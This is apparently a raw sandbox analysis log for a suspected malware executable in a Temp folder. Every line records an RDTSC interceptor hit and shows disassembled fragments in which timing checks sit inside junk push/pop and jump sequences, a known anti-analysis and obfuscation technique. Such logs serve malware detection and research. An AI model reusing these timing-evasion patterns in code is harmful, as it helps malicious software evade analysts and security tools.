Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E46A17 second address: E46A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4C7FC second address: E4C80A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4C80A second address: E4C82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F44DCF2CAE6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F44DCF2CAF5h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4C82C second address: E4C836 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F44DCF14046h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4CC4B second address: E4CC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F44DCF2CAE6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4D4EB second address: E4D4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E09F second address: E4E0D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F44DCF2CAFCh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E0D7 second address: E4E0FB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44DCF1404Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F44DCF1404Bh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E0FB second address: E4E100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E100 second address: E4E10C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F44DCF14046h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E10C second address: E4E110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4E38F second address: E4E395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E50A86 second address: E50AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF6h 0x00000007 jg 00007F44DCF2CAE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E53AD7 second address: E53ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5F8C9 second address: E5F8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAF8h 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5F8EA second address: E5F8F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FCF7 second address: E5FD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F44DCF2CAE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FD01 second address: E5FD18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14053h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FD18 second address: E5FD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F44DCF2CAE6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FD2B second address: E5FD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FE97 second address: E5FE9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E5FE9C second address: E5FEA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E6042D second address: E6046F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F44DCF2CAF6h 0x0000000f jmp 00007F44DCF2CAF1h 0x00000014 jc 00007F44DCF2CAE6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E605B8 second address: E605BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E605BF second address: E605CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E6140A second address: E61414 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44DCF14046h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E639DE second address: E639F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E639F2 second address: E639FE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44DCF14046h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E6935A second address: E6935F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E6935F second address: E6936A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E6936A second address: E69386 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jnc 00007F44DCF2CAE6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68EA4 second address: E68EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68EAC second address: E68EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68FD4 second address: E68FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68FD8 second address: E68FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68FDC second address: E68FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E68FE2 second address: E68FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF2CAF2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E7699A second address: E769A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jo 00007F44DCF14046h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E769A8 second address: E769B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E769B0 second address: E769D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14052h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F44DCF14046h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E769D2 second address: E769E3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E769E3 second address: E769FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF14056h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E7B305 second address: E7B323 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44DCF2CAF9h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E7FB41 second address: E7FB5D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF14050h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E7FB5D second address: E7FB61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DA107D second address: DA10A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F44DCF14050h 0x0000000b je 00007F44DCF14046h 0x00000011 popad 0x00000012 jo 00007F44DCF1404Eh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E88C5A second address: E88C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAEBh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E88C6D second address: E88C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E88C73 second address: E88C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E88C78 second address: E88C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E88C7E second address: E88C84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E8B152 second address: E8B157 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E9262C second address: E92632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E92632 second address: E92636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E90F56 second address: E90F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 je 00007F44DCF2CAEEh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E90F70 second address: E90F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF14059h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E913FB second address: E91404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E91716 second address: E91725 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E91725 second address: E9174D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jp 00007F44DCF2CAE6h 0x00000010 jmp 00007F44DCF2CAEDh 0x00000015 jc 00007F44DCF2CAE6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E9174D second address: E91753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E91753 second address: E91757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E918E6 second address: E918EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E96C47 second address: E96C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E96C50 second address: E96C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF14057h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E9890B second address: E9893F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F44DCF2CAF7h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F44DCF2CAF0h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E9893F second address: E9895E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14057h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E9895E second address: E98962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8BE3 second address: EA8BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8BE9 second address: EA8C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF2CAEEh 0x00000008 jmp 00007F44DCF2CAF2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8C0E second address: EA8C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8C1C second address: EA8C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8C22 second address: EA8C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF14058h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA8C3F second address: EA8C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F44DCF2CAE6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA51FB second address: EA520B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EA520B second address: EA520F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EB585B second address: EB586C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jno 00007F44DCF14046h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: EB8330 second address: EB8334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED14EB second address: ED14FD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F44DCF14048h 0x00000008 jl 00007F44DCF1404Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED034A second address: ED0354 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F44DCF2CAECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0487 second address: ED0491 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44DCF1404Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0491 second address: ED04A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F44DCF2CAEAh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED04A1 second address: ED04BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14055h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0BF3 second address: ED0C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAF4h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0C0F second address: ED0C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0EB8 second address: ED0ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F44DCF2CAF0h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0ED1 second address: ED0F13 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F44DCF14062h 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F44DCF14046h 0x00000010 jmp 00007F44DCF14056h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED0F13 second address: ED0F1D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44DCF2CAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED575C second address: ED576B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F44DCF14046h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED83D9 second address: ED83F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED83F4 second address: ED83FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: ED83FB second address: ED842B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F44DCF2CAF1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
